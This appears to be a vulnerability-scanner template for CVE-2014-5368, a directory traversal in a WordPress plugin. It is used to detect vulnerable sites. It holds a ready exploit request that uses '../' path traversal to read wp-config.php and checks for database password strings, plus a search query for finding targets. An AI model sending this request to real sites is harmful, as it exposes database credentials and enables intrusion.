id: CVE-2014-5368 info: name: WordPress Plugin WP Content Source Control - Directory Traversal author: daffainfo severity: medium description: A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter. impact: | An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information. remediation: | Update to the latest version of the WP Content Source Control plugin to fix the directory traversal vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-5368 - https://www.exploit-db.com/exploits/39287 - http://seclists.org/oss-sec/2014/q3/417 - https://exchange.xforce.ibmcloud.com/vulnerabilities/95374 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2014-5368 cwe-id: CWE-22 epss-score: 0.09191 epss-percentile: 0.94512 cpe: cpe:2.3:a:wp_content_source_control_project:wp_content_source_control:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wp_content_source_control_project product: wp_content_source_control framework: wordpress google-query: inurl:"/wp-content/plugins/wp-source-control" tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,seclists,wp_content_source_control_project http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php" matchers-condition: and matchers: - type: word part: body words: - "DB_NAME" - "DB_PASSWORD" condition: and - type: status status: - 200 # digest: 4a0a00473045022100d69ee1fd512ebb21e3ef12903964a91f9d7ada78be70bf55c71ec977f4900eb2022007f9bf1c552bd638825024917e8ce6ed2768429fc5db5f1f78eda30f4cf9bebe:922c64590222798bb761d5b6d8e72950